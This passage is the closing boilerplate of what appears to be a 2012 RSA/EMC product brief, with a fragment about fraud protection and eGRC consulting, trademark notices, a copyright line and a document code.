Fraud Protection with industry leading eGRC capabilities and robust consulting
services. www.RSA.com
EMC2, EMC, the EMC logo, RSA, NetWitness, and the RSA logo are registered trademarks or trademarks of EMC
Corporation in the United States and other countries. All other products or services mentioned are trademarks of
their respective companies. © Copyright 2012 EMC Corporation. All rights reserved. Published in the USA.
www.rsa.com
h9088-netspec-sb-0212